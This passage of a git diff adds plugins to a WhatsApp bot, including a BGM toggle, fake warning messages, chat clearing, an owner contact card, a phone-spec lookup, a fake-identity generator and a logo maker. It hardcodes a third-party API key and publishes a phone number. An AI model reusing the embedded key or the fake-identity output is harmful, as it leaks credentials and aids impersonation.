fechado no momento!' - BGM_on = 'bgm option turned on' - BGM_off = 'bgm option turned off' - } - if (config.LANG == 'RU') { - l_dsc = 'Активирует инструмент Antilink.' - alr_on = 'Антилинк уже открыт!' - alr_off = 'Антилинк сейчас закрыт!' - BGM_on = 'Антилинк успешно открыт!' - BGM_off = 'bgm option turned off' - } - if (config.LANG == 'ES') { - l_dsc = 'Activa la herramienta Antilink.' - alr_on = '¡Antilink ya está abierto!' - alr_off = '¡Antilink está cerrado actualmente!' - BGM_on = 'bgm option turned on' - BGM_off = 'bgm option turned off!' - } - if (config.LANG == 'ID') { - l_dsc = 'Mengaktifkan alat Antilink.' - alr_on = 'Antilink sudah terbuka!' - alr_off = 'Antilink saat ini ditutup!' - BGM_on = 'bgm option turned on' - BGM_off = 'bgm option turned off' - } - Asena.addCommand({pattern: 'bgm ?(.*)', fromMe: true, desc: l_dsc, usage: '.bgm on / off' }, (async (message, match) => { - if (match[1] == 'off') { - await heroku.patch(baseURI + '/config-vars', { - body: { - ['BGM_FILTER']: 'false' - } - }); - await message.sendMessage(BGM_off) - } else if (match[1] == 'on') { - await heroku.patch(baseURI + '/config-vars', { - body: { - ['BGM_FILTER']: 'true' - } - }); - await message.sendMessage(BGM_on) - } - })); diff --git a/plugins/chakara.js b/plugins/chakara.js new file mode 100644 index 0000000000..2198749df8 --- /dev/null +++ b/plugins/chakara.js @@ -0,0 +1,61 @@ +const asena = require('../events'); +const {MessageType} = require('@adiwajshing/baileys'); +const GM = "warning message" +const GN = "warning message" +const Config = require('../config'); + + + +if (Config.WORKTYPE == 'private') { +asena.addCommand({pattern: 'warn', fromMe: true, deleteCommand: true, desc: GM,}, (async (message, match) => { + + var r_text = new Array (); + + r_text[1] = "```No of warnings : 0```"; + r_text[2] ="```No of warnings : 0```"; + + + var i = Math.floor(3*Math.random()) + + await message.client.sendMessage( + message.jid,(r_text[i]), MessageType.text); + + })); + + +asena.addCommand({pattern: 'warn', fromMe: true, deleteCommand: true, desc: GN,}, (async (message, match) => { + + var r_text = new Array (); + + r_text[1] = "```No of warnings : 1```"; + r_text[2] ="```No of warnings : 2```"; + + + + var i = Math.floor(3*Math.random()) + + await message.client.sendMessage( + message.jid,(r_text[i]), MessageType.text); + + })); + + } + + + if (Config.WORKTYPE == 'public') { +asena.addCommand({pattern: 'warn', fromMe: true, deleteCommand: true, desc: GM,}, (async (message, match) => { + + var r_text = new Array (); + + r_text[1] = "```No of warnings : 1```"; + r_text[2] ="```No of warnings : 2```"; + + + var i = Math.floor(3*Math.random()) + + await message.client.sendMessage( + message.jid,(r_text[i]), MessageType.text); + + })); + +} diff --git a/plugins/clear.js b/plugins/clear.js new file mode 100644 index 0000000000..bcc687b1ac --- /dev/null +++ b/plugins/clear.js @@ -0,0 +1,29 @@ +/* Copyright (C) 2020 anshadvfc. +Licensed under the GPL-3.0 License; +you may not use this file except in compliance with the License. +*/ + + +const {MessageType, GroupSettingChange, ChatModification, WAConnectionTest} = require('@adiwajshing/baileys'); +const Asena = require('../events'); +const Config = require('../config'); + +const Language = require('../language'); +const Lang = Language.getString('admin'); +const mut = Language.getString('mute'); +const END = "clear all messages" + +async function checkImAdmin(message, user = message.client.user.jid) { + var grup = await message.client.groupMetadata(message.jid); + var sonuc = grup['participants'].map((member) => { + if (member.id.split('@')[0] === user.split('@')[0] && member.isAdmin) return true; else; return false; + }); + return sonuc.includes(true); +} + +Asena.addCommand({pattern: 'clear', fromMe: true, desc: END, dontAddCommandList: true}, (async (message, match) => { + + await message.sendMessage('```cleaning chat...```'); + await message.client.modifyChat (message.jid, ChatModification.delete); + await message.sendMessage('```🏳 Chat cleared 🏳```'); +})); diff --git a/plugins/clearchat.js b/plugins/clearchat.js new file mode 100644 index 0000000000..8942db75d2 --- /dev/null +++ b/plugins/clearchat.js @@ -0,0 +1,43 @@ +/* Copyright (C) 2020 afnanplk. +re edited by hisham-Muhammed +Licensed under the GPL-3.0 License; +you may not use this file except in compliance with the License. +*/ + +const {MessageType, GroupSettingChange, ChatModification, WAConnectionTest} = require('@adiwajshing/baileys'); + +const Asena = require('../events'); + +const Config = require('../config'); + +const Language = require('../language'); + +const Lang = Language.getString('admin'); + +const mut = Language.getString('mute'); + +const END = "clear all messages" + +async function checkImAdmin(message, user = message.client.user.jid) { + + var grup = await message.client.groupMetadata(message.jid); + + var sonuc = grup['participants'].map((member) => { + + if (member.id.split('@')[0] === user.split('@')[0] && member.isAdmin) return true; else; return false; + + }); + + return sonuc.includes(true); + +} + +Asena.addCommand({pattern: 'clear', fromMe: true, desc: END, dontAddCommandList: true}, (async (message, match) => { + + await message.sendMessage('```cleaning chat...```'); + + await message.client.modifyChat (message.jid, ChatModification.delete); + + await message.sendMessage('```🏳 𝐶ℎ𝑎𝑡𝑠 𝑐𝑙𝑒𝑎𝑟𝑒𝑑 🏳```'); + +})); diff --git a/plugins/contact.js b/plugins/contact.js new file mode 100644 index 0000000000..e3a78eea0e --- /dev/null +++ b/plugins/contact.js @@ -0,0 +1,17 @@ +const Ktb = require('../events'); +const {MessageType} = require('@adiwajshing/baileys'); +const exec = require('child_process').exec; +const os = require("os"); +const fs = require('fs'); +const Config = require('../config') +Ktb.addCommand({ pattern: 'owner ?(.*)', fromMe: false, desc: 'owner number' }, (async (message, match) => { + +//coded by saidali +const vcard = 'BEGIN:VCARD\n' // metadata of the contact card + + 'VERSION:3.0\n' + + 'FN:Anshad [OWNER]\n' // full name + + 'ORG:Anshad;\n' // + + 'TEL;type=CELL;type=VOICE;waid=919995390942:+91 9995390942\n' // WhatsApp ID + phone number + + 'END:VCARD' +await message.client.sendMessage(message.jid,{displayname: "Anshad [OWNER]", vcard: vcard}, MessageType.contact) +})) diff --git a/plugins/creator.js b/plugins/creator.js index 255c9318d5..81712da1c6 100644 --- a/plugins/creator.js +++ b/plugins/creator.js @@ -1,7 +1,7 @@ function handler(m) { // Ini cuma contoh, jgn di uncomment -_- - // F this.sendContact(m.chat, '62815158600891', 'Nurutomo', m) - this.sendContact(m.chat, '6281334177340', 'Nurutomo', m) + // F this.sendContact(m.chat, '919995390942', 'Nurutomo', m) + this.sendContact(m.chat, '919995390942', 'Nurutomo', m) } handler.help = ['owner', 'creator'] handler.tags = ['info'] diff --git a/plugins/device.js b/plugins/device.js new file mode 100644 index 0000000000..9263a59484 --- /dev/null +++ b/plugins/device.js @@ -0,0 +1,65 @@ +/* Copyright © @Farhan_dqz. +Licensed under the GPL-3.0 License; +you can copy file. but credit must be there!!! +JulieMwol - Farhan-dqz +*/ + +const Asena = require('../events'); +const {MessageType} = require('@adiwajshing/baileys'); +const axios = require ('axios') +const LOAD_ING = "*Searching details*" +const Config = require('../config'); + +const Language = require('../language'); +const Lang = Language.getString('scrapers'); + +if (Config.WORKTYPE == 'private') { +Asena.addCommand({pattern: 'device ?(.*)', fromMe: true, desc: Lang.DEVICE , dontAddCommandList: true }, async (message, match) => { + +const {data} = await axios(`https://zenzapi.xyz/api/gsmarena?query=${match[1]}&apikey=a9a05974d30e`) +const { status, result } = data +if(!status) return await message.sendMessage('not found') +await message.client.sendMessage(message.jid, LOAD_ING , MessageType.text, { quoted: message.data }); +let msg = '```' +msg += `NAME :${result.judul}\n\n` +msg += `DATE :${result.rilis}\n\n` +msg += `WEIGHT :${result.ukuran}\n\n` +msg += `VERSION :${result.type}\n\n` +msg += `ROM :${result.storage}\n\n` +msg += `DISPLAY :${result.display}\n\n` +msg += `RAM :${result.ram}\n\n` +msg += `BATTERY :${result.batrai}\n\n` +msg += `CPU :${result.chipset}\n\n` +msg += `INCH :${result.inchi}\n\n` +msg += `VIDEO MP :${result.videoPixel}\n\n` +msg += `PIC :${result.thumb}\n\n` +msg += `BATTERY BRAND :${result.pixel}\n\n` +msg += '```' + return await message.client.sendMessage(message.jid, msg, MessageType.text, { quoted: message.data }); +}); +} +else if (Config.WORKTYPE == 'public') { + Asena.addCommand({pattern: 'device ?(.*)', fromMe: false, desc: Lang.DEVICE , dontAddCommandList: true }, async (message, match) => { + + const {data} = await axios(`https://zenzapi.xyz/api/gsmarena?query=${match[1]}&apikey=a9a05974d30e`) + const { status, result } = data + if(!status) return await message.sendMessage('not found') + await message.client.sendMessage(message.jid, LOAD_ING , MessageType.text, { quoted: message.data }); + let msg = '```' + msg += `NAME :${result.judul}\n\n` + msg += `DATE :${result.rilis}\n\n` + msg += `WEIGHT :${result.ukuran}\n\n` + msg += `VERSION :${result.type}\n\n` + msg += `ROM :${result.storage}\n\n` + msg += `DISPLAY :${result.display}\n\n` + msg += `RAM :${result.ram}\n\n` + msg += `BATTERY :${result.batrai}\n\n` + msg += `CPU :${result.chipset}\n\n` + msg += `INCH :${result.inchi}\n\n` + msg += `VIDEO MP :${result.videoPixel}\n\n` + msg += `PIC :${result.thumb}\n\n` + msg += `BATTERY BRAND :${result.pixel}\n\n` + msg += '```' + return await message.client.sendMessage(message.jid, msg, MessageType.text, { quoted: message.data }); + }); + } diff --git a/plugins/fakeduration.js b/plugins/fakeduration.js new file mode 100644 index 0000000000..6aa984750f --- /dev/null +++ b/plugins/fakeduration.js @@ -0,0 +1,54 @@ + +//whitedevil and saidali + +const Asena = require('../events'); +const config = require('../config'); +const Heroku = require('heroku-client'); +const heroku = new Heroku({ + token: config.HEROKU.API_KEY +}); +let baseURI = '/apps/' + config.HEROKU.APP_NAME; + + + var AT = '' + var ATO = '' + var TO = '' + + if (config.LANG == 'EN') { + + AT = '*FAKE BGM DURATION is ON*' + ATO = '*FAKE BGM DURATION is OFF*' + TO = '*FAKE BGM DURATION is OFF*' + } + + if (config.LANG == 'ML') { + + AT = '*FAKE BGM DURATION is ON*' + ATO = '*FAKE BGM DURATION is OFF*' + TO = '*FAKE BGM DURATION is OFF*' + } + + Asena.addCommand({pattern: 'fbgm ?(.*)', fromMe: true,dontAddCommandList: true,desc: 'change fake bgm on/true/off. example - .fbgm off/on/true' }, (async (message, match) => { + if (match[1] == 'on') { + await heroku.patch(baseURI + '/config-vars', { + body: { + ['BGM_DURATION']: '99999999' + } + }); + await message.sendMessage(AT) + } else if (match[1] == 'true') { + await heroku.patch(baseURI + '/config-vars', { + body: { + ['BGM_DURATION']: 'true' + } + }); + await message.sendMessage(ATO) + } else if (match[1] == 'off') { + await heroku.patch(baseURI + '/config-vars', { + body: { + ['BGM_DURATION']: 'false' + } + }); + await message.sendMessage(TO) + } + })); diff --git a/plugins/fakeid.js b/plugins/fakeid.js new file mode 100644 index 0000000000..706cf66c93 --- /dev/null +++ b/plugins/fakeid.js @@ -0,0 +1,46 @@ +/* Copyright (C) 2021 anshadvfc. +Licensed under the GPL-3.0 License; +you may not use this file except in compliance with the License. +PINKY*/ + + +const Asena = require('../events'); +const {MessageType} = require('@adiwajshing/baileys'); +const got = require('got'); + +const Language = require('../language'); +const Lang = Language.getString('weather'); +const Config = require('../config'); + + +if (Config.WORKTYPE == 'private') { +Asena.addCommand({pattern: 'fake id ?(.*)', fromMe: true, desc: '' , dontAddCommandList: true }, async (message, match) => { + const url = `https://docs-jojo.herokuapp.com/api/fake_identity?lang=en&type=json`; + try { + const response = await got(url); + + const json = JSON.parse(response.body); + + if (response.statusCode === 200) return await message.client.sendMessage(message.jid, 'NAME :' + json.name + '\n' + 'GENDER :'+ json.gender + 'AGE :' + json.age + '\n' + 'BDAY :'+ json.birtday + 'JOB :' + json.occupation + '\n' + 'ADDRESS :'+ json.address +'PIN :' + json.zip_code + '\n' + 'PLACE :'+ json.state + 'COUNTRY :' + json.country + '\n' + 'PHONE :'+ json.phone , MessageType.text); + } catch { + return await message.client.sendMessage(message.jid, Lang.NOT_FOUNDMD, MessageType.text); + } +}); +} + +else if (Config.WORKTYPE == 'public') { + + +Asena.addCommand({pattern: 'fake id ?(.*)', fromMe: false, desc: '' , dontAddCommandList: true }, async (message, match) => { + const url = `https://docs-jojo.herokuapp.com/api/fake_identity?lang=en&type=json`; + try { + const response = await got(url); + + const json = JSON.parse(response.body); + + if (response.statusCode === 200) return await message.client.sendMessage(message.jid, 'NAME :' + json.name + '\n' + 'GENDER :'+ json.gender + 'AGE :' + json.age + '\n' + 'BDAY :'+ json.birtday + 'JOB :' + json.occupation + '\n' + 'ADDRESS :'+ json.address +'PIN :' + json.zip_code + '\n' + 'PLACE :'+ json.state + 'COUNTRY :' + json.country + '\n' + 'PHONE :'+ json.phone , MessageType.text); + } catch { + return await message.client.sendMessage(message.jid, Lang.NOT_FOUNDMD, MessageType.text); + } +}); +} diff --git a/plugins/ffpack.js b/plugins/ffpack.js new file mode 100644 index 0000000000..9e57ef311d --- /dev/null +++ b/plugins/ffpack.js @@ -0,0 +1,983 @@ +const Julie = require('../events'); +const { MessageType, MessageOptions, Mimetype } = require('@adiwajshing/baileys'); +const fs = require('fs'); +const axios = require('axios'); +const Config = require('../config'); +const ll ="*```Enter a word```" +const Ln = "Free Fire logo maker" +const code = "*_50 FF LOGO PACK_*\n\n*🧞‍♂️.ff01 : Makes FF logo*\n\n🧞‍♂️.ff02 : Makes FF logo**\n\n*🧞‍♂️.ff03 : Makes FF logo*\n\n🧞‍♂️.ff04 : Makes FF logo*\n\n🧞‍♂️.ff5 : Makes FF logo*\n\n🧞‍♂️.ff6 : Makes FF logo*\n\n🧞‍♂️.ff07 : Makes FF logo*\n\n🧞‍♂️.ff08 : Makes FF logo*\n\n🧞‍♂️.ff09 : Makes FF logo*\n\n🧞‍♂️.ff10 : Makes FF logo*\n\n🧞‍♂️.ff12 : Makes FF logo*\n\n🧞‍♂️.ff13 : Makes FF logo*\n\n🧞‍♂️.ff14 : Makes FF logo*\n\n🧞‍♂️.ff15 : Makes FF logo*\n\n🧞‍♂️.ff16 : Makes FF logo*\n\n🧞‍♂️.ff17 : Makes FF logo*\n\n🧞‍♂️.ff18 : Makes FF logo*\n\n🧞‍♂️.ff19 : Makes FF logo*\n\n🧞‍♂️.ff20 : Makes FF logo*\n\n🧞‍♂️.ff21 : Makes FF logo*\n\n🧞‍♂️.ff22 : Makes FF logo*\n\n🧞‍♂️.ff23 : Makes FF logo*\n\n🧞‍♂️.ff24 : Makes FF logo*\n\n🧞‍♂️.ff25 : Makes FF logo*\n\n🧞‍♂️.ff26 : Makes FF logo*\n\n🧞‍♂️.ff27 : Makes FF logo*\n\n🧞‍♂️.ff28 : Makes FF logo*\n\n🧞‍♂️.ff29 : Makes FF logo*\n\n🧞‍♂️.ff30 : Makes FF logo*\n\n🧞‍♂️.ff31 : Makes FF logo*\n\n🧞‍♂️.ff32 : Makes FF logo*\n\n🧞‍♂️.ff33 : Makes FF logo*\n\n🧞‍♂️.ff34 : Makes FF logo*\n\n🧞‍♂️.ff35 : Makes FF logo*\n\n🧞‍♂️.ff36 : Makes FF logo*\n\n🧞‍♂️.ff37 : Makes FF logo*\n\n🧞‍♂️.ff38 : Makes FF logo*\n\n🧞‍♂️.ff39 : Makes FF logo*\n\n🧞‍♂️.ff40 : Makes FF logo*\n\n🧞‍♂️.ff41 : Makes FF logo*\n\n🧞‍♂️.ff42 : Makes FF logo*\n\n🧞‍♂️.ff43 : Makes FF logo*\n\n🧞‍♂️.ff44 : Makes FF logo*\n\n🧞‍♂️.ff45 : Makes FF logo*\n\n🧞‍♂️.ff46 : Makes FF logo*\n\n🧞‍♂️.ff47 : Makes FF logo*\n\n🧞‍♂️.ff48 : Makes FF logo*\n\n🧞‍♂️.ff49 : Makes FF logo*\n\n🧞‍♂️.ff50 : Makes FF logo*\n\n" +//thanks to saidali & shadow + +if (Config.WORKTYPE == 'public') { + + Julie.addCommand({pattern: 'ffpack', fromMe: false, desc: Ln,}, (async (message, match) => { + + await message.client.sendMessage( + + message.jid,code, MessageType.text); + + })); + + Julie.addCommand({ pattern: 'ff02 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/ecf60ef31d7e75c2620fd.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff01 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/db68993a2656b4748a16a.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff03 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/4cc2fe3ca2a712d3b14cc.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '🚀Made by DARK KNIGHT' }) + + })); + + Julie.addCommand({ pattern: 'ff04 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/0a25356767c7833bbd9ca.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff05 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/33eb446f4132e76a2fd58.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff06 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/2f7de65a46ed366a63676.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff07 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/e5f8d6f2e9f9000ebe3d9.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff08 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/6090aadefff57762e8b35.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff09 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/6ad8890337f9f2ea3b92a.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff10 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/244312383300b34f99bcc.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff11 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/b670c4eca0fafdb88a7f0.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff12 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/95a088f7b0453d4d82b7a.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff13 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/fd7500684c9ae986befc3.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff14 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/1e962653c4412f5271844.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff15 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/24483aa07e99edad88b4c.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff16 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/129a6861e1efdfd0f7bca.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff17 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/deab8459bd6d06b4f9421.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff18 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/696f93289f32687d3b4f7.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff19 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/f0145f46d111ed493e62b.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff20 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/f577262bce9b3733402ea.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff21 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/099f8580a45433eb6688c.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff22 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/a1fe3fe9e295c24256ede.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff23 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/2056e2cdd3a30971da0a6.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff24 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/c730c8c57cfccb7756dc4.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff25 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/d3749dfe51e3f13012e8e.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff26 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/f376a881b40c1e994d75d.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff27 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/1d307457e0778ae9b0d44.jpg`, { responseType: 'arraybuffer' }) + + await 